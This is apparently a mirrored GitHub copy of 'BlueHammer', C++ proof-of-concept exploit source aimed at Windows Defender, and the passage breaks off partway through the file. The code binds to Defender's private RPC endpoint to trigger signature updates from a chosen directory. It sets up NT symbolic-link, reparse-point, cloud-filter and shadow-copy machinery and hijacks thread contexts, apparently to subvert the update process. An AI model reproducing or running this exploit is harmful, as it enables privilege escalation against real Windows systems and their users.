mirror of
https://github.com/Nightmare-Eclipse/BlueHammer.git
synced 2026-04-09 08:23:55 +00:00
The previous PoC that was uploaded was just testing code, this was supposed to be the final release.
3314 lines
90 KiB
C++
3314 lines
90 KiB
C++
|
|
#define _CRT_SECURE_NO_WARNINGS
|
|
|
|
#include <iostream>
|
|
#include <Windows.h>
|
|
#include <Lmcons.h>
|
|
#include <wininet.h>
|
|
#include <string.h>
|
|
#include <fdi.h>
|
|
#include <fcntl.h>
|
|
#include <winternl.h>
|
|
#include <conio.h>
|
|
#include <Shlwapi.h>
|
|
#include <ktmw32.h>
|
|
#include <wuapi.h>
|
|
#include <ntstatus.h>
|
|
#include <cfapi.h>
|
|
#include <aclapi.h>
|
|
#include "windefend_h.h"
|
|
|
|
/*
|
|
#include <openssl/ssl.h>
|
|
#include <openssl/err.h>
|
|
#include <openssl/aes.h>
|
|
#include <openssl/evp.h>
|
|
#include <openssl/sha.h>
|
|
#include <openssl/provider.h>
|
|
#include <openssl/hmac.h>
|
|
*/
|
|
#include "offreg.h"
|
|
#define _NTDEF_
|
|
#include <ntsecapi.h>
|
|
#include <sddl.h>
|
|
|
|
#pragma comment(lib, "wininet.lib")
|
|
#pragma comment(lib, "ktmw32.lib")
|
|
#pragma comment(lib, "Shlwapi.lib")
|
|
#pragma comment(lib, "Rpcrt4.lib")
|
|
#pragma comment(lib, "ntdll.lib")
|
|
#pragma comment(lib, "Cabinet.lib")
|
|
#pragma comment(lib, "Wuguid.lib")
|
|
#pragma comment(lib,"CldApi.lib")
|
|
|
|
|
|
/// NT routines and definitions
|
|
HMODULE hm = GetModuleHandle(L"ntdll.dll");
|
|
NTSTATUS(WINAPI* _NtCreateSymbolicLinkObject)(
|
|
OUT PHANDLE pHandle,
|
|
IN ACCESS_MASK DesiredAccess,
|
|
IN POBJECT_ATTRIBUTES ObjectAttributes,
|
|
IN PUNICODE_STRING DestinationName) = (NTSTATUS(WINAPI*)(
|
|
OUT PHANDLE pHandle,
|
|
IN ACCESS_MASK DesiredAccess,
|
|
IN POBJECT_ATTRIBUTES ObjectAttributes,
|
|
IN PUNICODE_STRING DestinationName))GetProcAddress(hm, "NtCreateSymbolicLinkObject");
|
|
NTSTATUS(WINAPI* _NtOpenDirectoryObject)(
|
|
PHANDLE DirectoryHandle,
|
|
ACCESS_MASK DesiredAccess,
|
|
POBJECT_ATTRIBUTES ObjectAttributes
|
|
) = (NTSTATUS(WINAPI*)(
|
|
PHANDLE DirectoryHandle,
|
|
ACCESS_MASK DesiredAccess,
|
|
POBJECT_ATTRIBUTES ObjectAttributes
|
|
))GetProcAddress(hm, "NtOpenDirectoryObject");;
|
|
NTSTATUS(WINAPI* _NtQueryDirectoryObject)(
|
|
HANDLE DirectoryHandle,
|
|
PVOID Buffer,
|
|
ULONG Length,
|
|
BOOLEAN ReturnSingleEntry,
|
|
BOOLEAN RestartScan,
|
|
PULONG Context,
|
|
PULONG ReturnLength
|
|
) = (NTSTATUS(WINAPI*)(
|
|
HANDLE DirectoryHandle,
|
|
PVOID Buffer,
|
|
ULONG Length,
|
|
BOOLEAN ReturnSingleEntry,
|
|
BOOLEAN RestartScan,
|
|
PULONG Context,
|
|
PULONG ReturnLength
|
|
))GetProcAddress(hm, "NtQueryDirectoryObject");
|
|
NTSTATUS(WINAPI* _NtSetInformationFile)(
|
|
HANDLE FileHandle,
|
|
PIO_STATUS_BLOCK IoStatusBlock,
|
|
PVOID FileInformation,
|
|
ULONG Length,
|
|
FILE_INFORMATION_CLASS FileInformationClass
|
|
) = (NTSTATUS(WINAPI*)(
|
|
HANDLE FileHandle,
|
|
PIO_STATUS_BLOCK IoStatusBlock,
|
|
PVOID FileInformation,
|
|
ULONG Length,
|
|
FILE_INFORMATION_CLASS FileInformationClass
|
|
))GetProcAddress(hm, "NtSetInformationFile");
|
|
|
|
NTSTATUS(WINAPI* _NtCreateDirectoryObjectEx)(
|
|
OUT PHANDLE DirectoryHandle,
|
|
IN ACCESS_MASK DesiredAccess,
|
|
IN POBJECT_ATTRIBUTES ObjectAttributes,
|
|
IN HANDLE ShadowDirectoryHandle,
|
|
IN ULONG Flags) =
|
|
(NTSTATUS(WINAPI*)(
|
|
OUT PHANDLE DirectoryHandle,
|
|
IN ACCESS_MASK DesiredAccess,
|
|
IN POBJECT_ATTRIBUTES ObjectAttributes,
|
|
IN HANDLE ShadowDirectoryHandle,
|
|
IN ULONG Flags))GetProcAddress(hm,"NtCreateDirectoryObjectEx");
|
|
|
|
#define RtlOffsetToPointer(Base, Offset) ((PUCHAR)(((PUCHAR)(Base)) + ((ULONG_PTR)(Offset))))
|
|
|
|
|
|
typedef struct _FILE_DISPOSITION_INFORMATION_EX {
|
|
ULONG Flags;
|
|
} FILE_DISPOSITION_INFORMATION_EX, * PFILE_DISPOSITION_INFORMATION_EX;
|
|
typedef struct _OBJECT_DIRECTORY_INFORMATION {
|
|
UNICODE_STRING Name;
|
|
UNICODE_STRING TypeName;
|
|
} OBJECT_DIRECTORY_INFORMATION, * POBJECT_DIRECTORY_INFORMATION;
|
|
|
|
typedef struct _REPARSE_DATA_BUFFER {
|
|
ULONG ReparseTag;
|
|
USHORT ReparseDataLength;
|
|
USHORT Reserved;
|
|
union {
|
|
struct {
|
|
USHORT SubstituteNameOffset;
|
|
USHORT SubstituteNameLength;
|
|
USHORT PrintNameOffset;
|
|
USHORT PrintNameLength;
|
|
ULONG Flags;
|
|
WCHAR PathBuffer[1];
|
|
} SymbolicLinkReparseBuffer;
|
|
struct {
|
|
USHORT SubstituteNameOffset;
|
|
USHORT SubstituteNameLength;
|
|
USHORT PrintNameOffset;
|
|
USHORT PrintNameLength;
|
|
WCHAR PathBuffer[1];
|
|
} MountPointReparseBuffer;
|
|
struct {
|
|
UCHAR DataBuffer[1];
|
|
} GenericReparseBuffer;
|
|
} DUMMYUNIONNAME;
|
|
} REPARSE_DATA_BUFFER, * PREPARSE_DATA_BUFFER;
|
|
|
|
#define REPARSE_DATA_BUFFER_HEADER_LENGTH FIELD_OFFSET(REPARSE_DATA_BUFFER, GenericReparseBuffer.DataBuffer)
|
|
|
|
//////////////// NT DEF END
|
|
|
|
|
|
// definitions of structures used by threads that invoke WD RPC calls
|
|
struct WDRPCWorkerThreadArgs
|
|
{
|
|
HANDLE hntfythread;
|
|
HANDLE hevent;
|
|
RPC_STATUS res;
|
|
wchar_t* dirpath;
|
|
};
|
|
|
|
typedef struct tagMPCOMPONENT_VERSION {
|
|
ULONGLONG Version;
|
|
ULARGE_INTEGER UpdateTime;
|
|
} MPCOMPONENT_VERSION, * PMPCOMPONENT_VERSION;
|
|
|
|
typedef struct tagMPVERSION_INFO {
|
|
MPCOMPONENT_VERSION Product;
|
|
MPCOMPONENT_VERSION Service;
|
|
MPCOMPONENT_VERSION FileSystemFilter;
|
|
MPCOMPONENT_VERSION Engine;
|
|
MPCOMPONENT_VERSION ASSignature;
|
|
MPCOMPONENT_VERSION AVSignature;
|
|
MPCOMPONENT_VERSION NISEngine;
|
|
MPCOMPONENT_VERSION NISSignature;
|
|
MPCOMPONENT_VERSION Reserved[4];
|
|
} MPVERSION_INFO, * PMPVERSION_INFO;
|
|
|
|
typedef union Version {
|
|
struct {
|
|
WORD major;
|
|
WORD minor;
|
|
WORD build;
|
|
WORD revision;
|
|
};
|
|
ULONGLONG QuadPart;
|
|
};
|
|
//////////////////
|
|
|
|
|
|
// structures and global vars used by definition update functions
|
|
void* cabbuff2 = NULL;
|
|
DWORD cabbuffsz = 0;
|
|
struct CabOpArguments {
|
|
ULONG index;
|
|
char* filename;
|
|
size_t ptroffset;
|
|
char* buff;
|
|
DWORD FileSize;
|
|
CabOpArguments* first;
|
|
CabOpArguments* next;
|
|
};
|
|
|
|
struct UpdateFiles {
|
|
char filename[MAX_PATH];
|
|
void* filebuff;
|
|
DWORD filesz;
|
|
bool filecreated;
|
|
HANDLE hsymlink;
|
|
UpdateFiles* next;
|
|
};
|
|
///////////////////////////////////////
|
|
|
|
|
|
// structures and global vars used by volume shadow copy functions
|
|
struct cldcallbackctx {
|
|
|
|
HANDLE hnotifywdaccess;
|
|
HANDLE hnotifylockcreated;
|
|
wchar_t filename[MAX_PATH];
|
|
};
|
|
|
|
struct LLShadowVolumeNames
|
|
{
|
|
wchar_t* name;
|
|
LLShadowVolumeNames* next;
|
|
};
|
|
|
|
struct cloudworkerthreadargs {
|
|
HANDLE hlock;
|
|
HANDLE hcleanupevent;
|
|
HANDLE hvssready;
|
|
};
|
|
///////////////////////////////////////
|
|
|
|
|
|
|
|
//////////////////////////////////////////////////////////////////////
|
|
// Functions required by RPC
|
|
/////////////////////////////////////////////////////////////////////
|
|
|
|
void __RPC_FAR* __RPC_USER midl_user_allocate(size_t cBytes)
|
|
{
|
|
return((void __RPC_FAR*) malloc(cBytes));
|
|
}
|
|
|
|
void __RPC_USER midl_user_free(void __RPC_FAR* p)
|
|
{
|
|
free(p);
|
|
}
|
|
//////////////////////////////////////////////////////////////////////
|
|
// Functions required by RPC end
|
|
/////////////////////////////////////////////////////////////////////
|
|
|
|
|
|
|
|
|
|
//////////////////////////////////////////////////////////////////////
|
|
// WD RPC functions
|
|
/////////////////////////////////////////////////////////////////////
|
|
void ThrowFunc()
|
|
{
|
|
throw 0;
|
|
}
|
|
|
|
void RaiseExceptionInThread(HANDLE hthread)
|
|
{
|
|
CONTEXT ctx = { 0 };
|
|
ctx.ContextFlags = CONTEXT_FULL;
|
|
SuspendThread(hthread);
|
|
|
|
if (GetThreadContext(hthread, &ctx))
|
|
{
|
|
ctx.Rip = (DWORD64)ThrowFunc;
|
|
SetThreadContext(hthread, &ctx);
|
|
ResumeThread(hthread);
|
|
}
|
|
}
|
|
|
|
void CallWD(WDRPCWorkerThreadArgs* args)
|
|
{
|
|
RPC_WSTR MS_WD_UUID = (RPC_WSTR)L"c503f532-443a-4c69-8300-ccd1fbdb3839";
|
|
RPC_WSTR StringBinding;
|
|
if (RpcStringBindingComposeW(MS_WD_UUID, (RPC_WSTR)L"ncalrpc", NULL, (RPC_WSTR)L"IMpService77BDAF73-B396-481F-9042-AD358843EC24", NULL, &StringBinding) != RPC_S_OK)
|
|
{
|
|
printf("Unexpected error while building an RPC binding from string !!!");
|
|
RaiseExceptionInThread(args->hntfythread);
|
|
return;
|
|
}
|
|
RPC_BINDING_HANDLE bindhandle = 0;
|
|
if (RpcBindingFromStringBindingW(StringBinding, &bindhandle) != RPC_S_OK)
|
|
{
|
|
printf("Failed to connect to windows defender RPC port !!!");
|
|
RaiseExceptionInThread(args->hntfythread);
|
|
return;
|
|
}
|
|
error_status_t errstat = 0;
|
|
printf("Calling ServerMpUpdateEngineSignature...\n");
|
|
//_getch();
|
|
RPC_STATUS stat = Proc42_ServerMpUpdateEngineSignature(bindhandle, NULL, args->dirpath, &errstat);
|
|
args->res = stat;
|
|
if (args->hevent)
|
|
SetEvent(args->hevent);
|
|
|
|
}
|
|
|
|
DWORD WINAPI WDCallerThread(void* args)
|
|
{
|
|
if (!args)
|
|
return ERROR_BAD_ARGUMENTS;
|
|
CallWD((WDRPCWorkerThreadArgs*)args);
|
|
return ERROR_SUCCESS;
|
|
|
|
}
|
|
//////////////////////////////////////////////////////////////////////
|
|
// WD RPC functions end
|
|
/////////////////////////////////////////////////////////////////////
|
|
|
|
|
|
|
|
|
|
//////////////////////////////////////////////////////////////////////
|
|
// WD definition update functions
|
|
/////////////////////////////////////////////////////////////////////
|
|
|
|
CabOpArguments* CUST_FNOPEN(const char* filename, int oflag, int pmode)
|
|
{
|
|
|
|
CabOpArguments* cbps = (CabOpArguments*)malloc(sizeof(CabOpArguments));
|
|
ZeroMemory(cbps, sizeof(CabOpArguments));
|
|
cbps->buff = (char*)cabbuff2;
|
|
cbps->FileSize = cabbuffsz;
|
|
return cbps;
|
|
}
|
|
|
|
INT CUST_FNSEEK(HANDLE hf,
|
|
long offset,
|
|
int origin)
|
|
{
|
|
|
|
if (hf)
|
|
{
|
|
CabOpArguments* CabOpArgs = (CabOpArguments*)hf;
|
|
if (origin == SEEK_SET)
|
|
CabOpArgs->ptroffset = offset;
|
|
if (origin == SEEK_CUR)
|
|
CabOpArgs->ptroffset += offset;
|
|
if (origin == SEEK_END)
|
|
CabOpArgs->ptroffset += CabOpArgs->FileSize;
|
|
|
|
return CabOpArgs->ptroffset;
|
|
|
|
}
|
|
|
|
return -1;
|
|
}
|
|
|
|
|
|
UINT CUST_FNREAD(CabOpArguments* hf,
|
|
void* const buffer,
|
|
unsigned const buffer_size)
|
|
{
|
|
|
|
if (hf)
|
|
{
|
|
CabOpArguments* CabOpArgs = (CabOpArguments*)hf;
|
|
if (CabOpArgs->buff)
|
|
{
|
|
|
|
memmove(buffer, &CabOpArgs->buff[CabOpArgs->ptroffset], buffer_size);
|
|
CabOpArgs->ptroffset += buffer_size;
|
|
//CabOpArgs->ReadBytes += buffer_size;
|
|
return buffer_size;
|
|
}
|
|
}
|
|
|
|
return NULL;
|
|
}
|
|
|
|
UINT CUST_FNWRITE(CabOpArguments* hf,
|
|
const void* buffer,
|
|
unsigned int count)
|
|
{
|
|
|
|
if (hf)
|
|
{
|
|
if (hf->buff) {
|
|
memmove(&hf->buff[hf->ptroffset], buffer, count);
|
|
hf->ptroffset += count;
|
|
return count;
|
|
}
|
|
}
|
|
|
|
|
|
return NULL;
|
|
}
|
|
|
|
INT CUST_FNCLOSE(CabOpArguments* fnFileClose)
|
|
{
|
|
|
|
free(fnFileClose);
|
|
return 0;
|
|
}
|
|
|
|
VOID* CUST_FNALLOC(size_t cb)
|
|
{
|
|
return malloc(cb);
|
|
}
|
|
|
|
VOID CUST_FNFREE(void* buff)
|
|
{
|
|
free(buff);
|
|
}
|
|
|
|
INT_PTR CUST_FNFDINOTIFY(
|
|
FDINOTIFICATIONTYPE fdinotify, PFDINOTIFICATION pfdin
|
|
) {
|
|
|
|
//printf("_FNFDINOTIFY : %d\n", fdinotify);
|
|
wchar_t newfile[MAX_PATH] = { 0 };
|
|
wchar_t filename[MAX_PATH] = { 0 };
|
|
HANDLE hfile = NULL;
|
|
ULONG rethandle = 0;
|
|
CabOpArguments** ptr = NULL;
|
|
CabOpArguments* lcab = NULL;
|
|
switch (fdinotify)
|
|
{
|
|
case fdintCOPY_FILE:
|
|
if (_stricmp(pfdin->psz1, "MpSigStub.exe") == 0)
|
|
return NULL;
|
|
|
|
ptr = (CabOpArguments**)pfdin->pv;
|
|
lcab = *ptr;
|
|
if (lcab == NULL) {
|
|
lcab = (CabOpArguments*)malloc(sizeof(CabOpArguments));
|
|
ZeroMemory(lcab, sizeof(CabOpArguments));
|
|
lcab->first = lcab;
|
|
lcab->filename = (char*)malloc(strlen(pfdin->psz1) + sizeof(char));
|
|
ZeroMemory(lcab->filename, strlen(pfdin->psz1) + sizeof(char));
|
|
memmove(lcab->filename, pfdin->psz1, strlen(pfdin->psz1));
|
|
lcab->FileSize = pfdin->cb;
|
|
lcab->buff = (char*)malloc(lcab->FileSize);
|
|
ZeroMemory(lcab->buff, lcab->FileSize);
|
|
}
|
|
else
|
|
{
|
|
lcab->next = (CabOpArguments*)malloc(sizeof(CabOpArguments));
|
|
ZeroMemory(lcab->next, sizeof(CabOpArguments));
|
|
lcab->next->first = lcab->first;
|
|
lcab = lcab->next;
|
|
|
|
lcab->filename = (char*)malloc(strlen(pfdin->psz1) + sizeof(char));
|
|
ZeroMemory(lcab->filename, strlen(pfdin->psz1) + sizeof(char));
|
|
memmove(lcab->filename, pfdin->psz1, strlen(pfdin->psz1));
|
|
lcab->FileSize = pfdin->cb;
|
|
lcab->buff = (char*)malloc(lcab->FileSize);
|
|
ZeroMemory(lcab->buff, lcab->FileSize);
|
|
}
|
|
|
|
lcab->first->index++;
|
|
*ptr = lcab;
|
|
|
|
|
|
|
|
return (INT_PTR)lcab;
|
|
break;
|
|
case fdintCLOSE_FILE_INFO:
|
|
return TRUE;
|
|
break;
|
|
default:
|
|
return 0;
|
|
}
|
|
return 0;
|
|
}
|
|
|
|
void* GetCabFileFromBuff(PIMAGE_DOS_HEADER pvRawData, ULONG cbRawData, ULONG* cabsz)
|
|
{
|
|
if (cbRawData < sizeof(IMAGE_DOS_HEADER))
|
|
{
|
|
return 0;
|
|
}
|
|
|
|
if (pvRawData->e_magic != IMAGE_DOS_SIGNATURE)
|
|
{
|
|
return 0;
|
|
}
|
|
|
|
ULONG e_lfanew = pvRawData->e_lfanew, s = e_lfanew + sizeof(IMAGE_NT_HEADERS);
|
|
|
|
if (e_lfanew >= s || s > cbRawData)
|
|
{
|
|
return 0;
|
|
}
|
|
|
|
PIMAGE_NT_HEADERS pinth = (PIMAGE_NT_HEADERS)RtlOffsetToPointer(pvRawData, e_lfanew);
|
|
|
|
|
|
|
|
if (pinth->Signature != IMAGE_NT_SIGNATURE)
|
|
{
|
|
return 0;
|
|
}
|
|
|
|
ULONG SizeOfImage = pinth->OptionalHeader.SizeOfImage, SizeOfHeaders = pinth->OptionalHeader.SizeOfHeaders;
|
|
|
|
s = e_lfanew + SizeOfHeaders;
|
|
|
|
if (SizeOfHeaders > SizeOfImage || SizeOfHeaders >= s || s > cbRawData)
|
|
{
|
|
return 0;
|
|
}
|
|
|
|
s = FIELD_OFFSET(IMAGE_NT_HEADERS, OptionalHeader) + pinth->FileHeader.SizeOfOptionalHeader;
|
|
|
|
if (s > SizeOfHeaders)
|
|
{
|
|
return 0;
|
|
}
|
|
|
|
ULONG NumberOfSections = pinth->FileHeader.NumberOfSections;
|
|
|
|
PIMAGE_SECTION_HEADER pish = (PIMAGE_SECTION_HEADER)RtlOffsetToPointer(pinth, s);
|
|
|
|
ULONG Size;
|
|
|
|
if (NumberOfSections)
|
|
{
|
|
if (e_lfanew + s + NumberOfSections * sizeof(IMAGE_SECTION_HEADER) > SizeOfHeaders)
|
|
{
|
|
return 0;
|
|
}
|
|
|
|
do
|
|
{
|
|
if (Size = min(pish->Misc.VirtualSize, pish->SizeOfRawData))
|
|
{
|
|
union {
|
|
ULONG VirtualAddress, PointerToRawData;
|
|
};
|
|
|
|
VirtualAddress = pish->VirtualAddress, s = VirtualAddress + Size;
|
|
|
|
if (VirtualAddress > s || s > SizeOfImage)
|
|
{
|
|
return 0;
|
|
}
|
|
|
|
PointerToRawData = pish->PointerToRawData, s = PointerToRawData + Size;
|
|
|
|
if (PointerToRawData > s || s > cbRawData)
|
|
{
|
|
return 0;
|
|
}
|
|
|
|
char rsrc[] = ".rsrc";
|
|
if (memcmp(pish->Name, rsrc, sizeof(rsrc)) == 0)
|
|
{
|
|
typedef struct _IMAGE_RESOURCE_DIRECTORY2 {
|
|
DWORD Characteristics;
|
|
DWORD TimeDateStamp;
|
|
WORD MajorVersion;
|
|
WORD MinorVersion;
|
|
WORD NumberOfNamedEntries;
|
|
WORD NumberOfIdEntries;
|
|
IMAGE_RESOURCE_DIRECTORY_ENTRY DirectoryEntries[];
|
|
} IMAGE_RESOURCE_DIRECTORY2, * PIMAGE_RESOURCE_DIRECTORY2;
|
|
|
|
PIMAGE_RESOURCE_DIRECTORY2 pird = (PIMAGE_RESOURCE_DIRECTORY2)RtlOffsetToPointer(pvRawData, pish->PointerToRawData);
|
|
|
|
PIMAGE_RESOURCE_DIRECTORY2 prsrc = pird;
|
|
PIMAGE_RESOURCE_DIRECTORY_ENTRY pirde = { 0 };
|
|
PIMAGE_RESOURCE_DATA_ENTRY pdata = 0;
|
|
|
|
while (pird->NumberOfNamedEntries + pird->NumberOfIdEntries)
|
|
{
|
|
|
|
|
|
|
|
|
|
pirde = &pird->DirectoryEntries[0];
|
|
if (!pirde->DataIsDirectory)
|
|
{
|
|
pdata = (PIMAGE_RESOURCE_DATA_ENTRY)RtlOffsetToPointer(prsrc, pirde->OffsetToData);
|
|
pdata->OffsetToData -= pish->VirtualAddress - pish->PointerToRawData;
|
|
void* cabfile = RtlOffsetToPointer(pvRawData, pdata->OffsetToData);
|
|
if (cabsz)
|
|
*cabsz = pdata->Size;
|
|
return cabfile;
|
|
}
|
|
pird = (PIMAGE_RESOURCE_DIRECTORY2)RtlOffsetToPointer(prsrc, pirde->OffsetToDirectory);
|
|
}
|
|
break;
|
|
|
|
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
}
|
|
|
|
} while (pish++, --NumberOfSections);
|
|
}
|
|
return NULL;
|
|
|
|
}
|
|
|
|
|
|
UpdateFiles* GetUpdateFiles(int* filecount = NULL)
|
|
{
|
|
|
|
|
|
|
|
HINTERNET hint = NULL;
|
|
HINTERNET hint2 = NULL;
|
|
char data[0x1000] = { 0 };
|
|
DWORD index = 0;
|
|
DWORD sz = sizeof(data);
|
|
bool res2 = 0;
|
|
wchar_t filesz[50] = { 0 };
|
|
LARGE_INTEGER li = { 0 };
|
|
GUID uid = { 0 };
|
|
RPC_WSTR wuid = { 0 };
|
|
wchar_t* wuid2 = 0;
|
|
wchar_t envstr[MAX_PATH] = { 0 };
|
|
wchar_t mpampath[MAX_PATH] = { 0 };
|
|
HANDLE hmpap = NULL;
|
|
void* exebuff = NULL;
|
|
DWORD readsz = 0;
|
|
HANDLE hmapping = NULL;
|
|
void* mappedbuff = NULL;
|
|
HRSRC hres = NULL;
|
|
DWORD ressz = NULL;
|
|
HGLOBAL cabbuff = NULL;
|
|
char fname[] = "update.cab";
|
|
ERF erfstruct = { 0 };
|
|
HFDI hcabctx = NULL;
|
|
bool extractres = false;
|
|
DWORD totalsz = 0;
|
|
HANDLE hmpeng = NULL;
|
|
CabOpArguments* CabOpArgs = NULL;
|
|
CabOpArguments* mpenginedata = NULL;
|
|
void* dllview = NULL;
|
|
char** filesmtrx = 0;
|
|
UpdateFiles* firstupdt = NULL;
|
|
UpdateFiles* current = NULL;
|
|
|
|
DWORD nbytes = 0;
|
|
|
|
|
|
printf("Downloading updates...\n");
|
|
hint = InternetOpen(L"Chrome/141.0.0.0", INTERNET_OPEN_TYPE_DIRECT, NULL, NULL, NULL);
|
|
if (!hint)
|
|
{
|
|
printf("Failed to open internet, error : %d", GetLastError());
|
|
goto cleanup;
|
|
}
|
|
|
|
hint2 = InternetOpenUrl(hint, L"https://go.microsoft.com/fwlink/?LinkID=121721&arch=x64", NULL, NULL, INTERNET_FLAG_IGNORE_REDIRECT_TO_HTTP | INTERNET_FLAG_IGNORE_REDIRECT_TO_HTTPS | INTERNET_FLAG_NO_UI | INTERNET_FLAG_RELOAD, NULL);
|
|
//InternetCloseHandle(hint);
|
|
if (!hint2)
|
|
{
|
|
printf("Failed to open internet URL, error : %d", GetLastError());
|
|
goto cleanup;
|
|
}
|
|
|
|
res2 = HttpQueryInfo(hint2, HTTP_QUERY_CONTENT_LENGTH, data, &sz, &index);
|
|
if (!res2)
|
|
{
|
|
printf("Failed to query update size, error : %d", GetLastError());
|
|
goto cleanup;
|
|
}
|
|
|
|
|
|
wcscpy(filesz, (LPWSTR)data);
|
|
sz = _wtoi(filesz);
|
|
li.QuadPart = sz;
|
|
|
|
|
|
exebuff = malloc(sz);
|
|
if (!exebuff)
|
|
{
|
|
printf("Failed to allocate memory to download file !!!");
|
|
goto cleanup;
|
|
}
|
|
ZeroMemory(exebuff, sz);
|
|
|
|
if (!InternetReadFile(hint2, exebuff, sz, &readsz) || readsz != sz)
|
|
{
|
|
|
|
printf("Failed to download update from internet, error : %d", GetLastError());
|
|
goto cleanup;
|
|
}
|
|
InternetCloseHandle(hint);
|
|
hint = NULL;
|
|
InternetCloseHandle(hint2);
|
|
hint = NULL;
|
|
printf("Done.\n");
|
|
mappedbuff = GetCabFileFromBuff((PIMAGE_DOS_HEADER)exebuff, sz, &ressz);
|
|
|
|
|
|
|
|
if (!mappedbuff)
|
|
{
|
|
printf("Failed to retrieve cabinet file from downloaded file.\n");
|
|
goto cleanup;
|
|
}
|
|
printf("Cabinet file mapped at 0x%p\n", mappedbuff);
|
|
|
|
|
|
|
|
|
|
cabbuff2 = mappedbuff;
|
|
cabbuffsz = ressz;
|
|
|
|
printf("Extracting cab file content...\n");
|
|
hcabctx = FDICreate((PFNALLOC)CUST_FNALLOC, CUST_FNFREE, (PFNOPEN)CUST_FNOPEN, (PFNREAD)CUST_FNREAD, (PFNWRITE)CUST_FNWRITE, (PFNCLOSE)CUST_FNCLOSE, (PFNSEEK)CUST_FNSEEK, cpuUNKNOWN, &erfstruct);
|
|
if (!hcabctx)
|
|
{
|
|
printf("Failed to create cab context, error : 0x%x", erfstruct.erfOper);
|
|
goto cleanup;
|
|
}
|
|
|
|
|
|
|
|
extractres = FDICopy(hcabctx, (char*)"\\update.cab", (char*)"C:\\temp", NULL, (PFNFDINOTIFY)CUST_FNFDINOTIFY, NULL, &CabOpArgs);
|
|
if (!extractres)
|
|
{
|
|
printf("Failed to extract cab file, error : 0x%x", erfstruct.erfOper);
|
|
goto cleanup;
|
|
}
|
|
FDIDestroy(hcabctx);
|
|
hcabctx = NULL;
|
|
|
|
if (!CabOpArgs)
|
|
{
|
|
printf("Unexpected empty buffer after extracting cab file.\n");
|
|
return NULL;
|
|
}
|
|
|
|
CabOpArgs = CabOpArgs->first;
|
|
|
|
firstupdt = (UpdateFiles*)malloc(sizeof(UpdateFiles));
|
|
ZeroMemory(firstupdt, sizeof(UpdateFiles));
|
|
current = firstupdt;
|
|
while (CabOpArgs)
|
|
{
|
|
if (filecount)
|
|
*filecount += 1;
|
|
strcpy(current->filename, CabOpArgs->filename);
|
|
DWORD buffsz = CabOpArgs->FileSize;
|
|
current->filebuff = malloc(buffsz);
|
|
memmove(current->filebuff, CabOpArgs->buff, buffsz);
|
|
current->filesz = buffsz;
|
|
CabOpArgs = CabOpArgs->next;
|
|
if (CabOpArgs)
|
|
{
|
|
current->next = (UpdateFiles*)malloc(sizeof(UpdateFiles));
|
|
ZeroMemory(current->next, sizeof(UpdateFiles));
|
|
current = current->next;
|
|
}
|
|
|
|
}
|
|
printf("Cab file content extracted.\n");
|
|
|
|
|
|
cleanup:
|
|
|
|
if (CabOpArgs)
|
|
{
|
|
CabOpArguments* current = CabOpArgs->first;
|
|
while (current)
|
|
{
|
|
free(current->buff);
|
|
free(current->filename);
|
|
CabOpArgs = current;
|
|
current = current->next;
|
|
free(CabOpArgs);
|
|
}
|
|
}
|
|
if (hint)
|
|
InternetCloseHandle(hint);
|
|
|
|
if (hint2)
|
|
InternetCloseHandle(hint2);
|
|
if (exebuff)
|
|
free(exebuff);
|
|
|
|
return firstupdt;
|
|
|
|
|
|
}
|
|
|
|
bool CheckForWDUpdates(wchar_t* updatetitle, bool* criterr)
|
|
{
|
|
|
|
|
|
|
|
IUpdateSearcher* updsrch = 0;
|
|
bool updatesfound = false;
|
|
IUpdateSession* updsess = 0;
|
|
CLSID clsid;
|
|
HRESULT hr = CLSIDFromProgID(OLESTR("Microsoft.Update.Session"), &clsid);
|
|
ISearchResult* srchres = 0;
|
|
IUpdateCollection* updcollection = 0;
|
|
LONG updnum = 0;
|
|
BSTR title = 0;
|
|
BSTR desc = 0;
|
|
ICategoryCollection* catcoll = 0;
|
|
ICategory* cat = 0;
|
|
BSTR catname = 0;
|
|
IUpdate* upd = 0;
|
|
bool comini = CoInitialize(NULL) == 0;
|
|
if (!comini) {
|
|
printf("Failed to initialize COM\n");
|
|
*criterr = true;
|
|
return false;
|
|
}
|
|
|
|
|
|
|
|
|
|
hr = CoCreateInstance(clsid, NULL, CLSCTX_INPROC_SERVER, IID_IUpdateSession, (LPVOID*)&updsess);
|
|
|
|
if (!updsess)
|
|
{
|
|
printf("CoCreateInstance returned a NULL pointer.\n");
|
|
*criterr = true;
|
|
goto cleanup;
|
|
}
|
|
//printf("CoCreateInstance : 0x%p\n", updsess);
|
|
|
|
|
|
hr = updsess->CreateUpdateSearcher(&updsrch);
|
|
if (hr)
|
|
{
|
|
printf("IUpdateSearcher->CreateUpdateSearcher failed with error : 0x%0.X", hr);
|
|
*criterr = true;
|
|
goto cleanup;
|
|
}
|
|
|
|
if (!updsrch)
|
|
{
|
|
printf("IUpdateSearcher->CreateUpdateSearcher returned a NULL pointer.\n");
|
|
*criterr = true;
|
|
goto cleanup;
|
|
}
|
|
//printf("IUpdateSearcher->CreateUpdateSearcher : 0x%p\n", updsrch);
|
|
//printf("Checking for updates, please wait...\n");
|
|
hr = updsrch->Search(SysAllocString(L""), &srchres);
|
|
if (hr)
|
|
{
|
|
printf("ISearchResult->Search failed with error : 0x%0.X", hr);
|
|
*criterr = true;
|
|
goto cleanup;
|
|
}
|
|
//printf("ISearchResult->Search : 0x%p\n", srchres);
|
|
|
|
hr = srchres->get_Updates(&updcollection);
|
|
if (hr)
|
|
{
|
|
printf("IUpdateCollection->get_Updates failed with error : 0x%0.X", hr);
|
|
*criterr = true;
|
|
goto cleanup;
|
|
}
|
|
|
|
if (!updcollection)
|
|
{
|
|
printf("IUpdateCollection->get_Updates returned a NULL pointer.\n");
|
|
*criterr = true;
|
|
goto cleanup;
|
|
}
|
|
//printf("IUpdateCollection->get_Updates : 0x%p\n", updcollection);
|
|
|
|
|
|
hr = updcollection->get_Count(&updnum);
|
|
if (hr)
|
|
{
|
|
printf("IUpdateCollection->get_Count failed with error : 0x%0.X", hr);
|
|
*criterr = true;
|
|
goto cleanup;
|
|
}
|
|
//printf("Updates count : %d\n", updnum);
|
|
|
|
for (LONG i = 0; i < updnum; i++)
|
|
{
|
|
if (upd)
|
|
{
|
|
upd->Release();
|
|
upd = 0;
|
|
}
|
|
title = 0;
|
|
desc = 0;
|
|
catname = 0;
|
|
//printf("_________________________________________\n");
|
|
bool IsWdUdpate = false;
|
|
bool IsSigUpdate = false;
|
|
hr = updcollection->get_Item(i, &upd);
|
|
if (hr)
|
|
{
|
|
printf("IUpdateCollection->get_Item failed with error : 0x%0.X", hr);
|
|
*criterr = true;
|
|
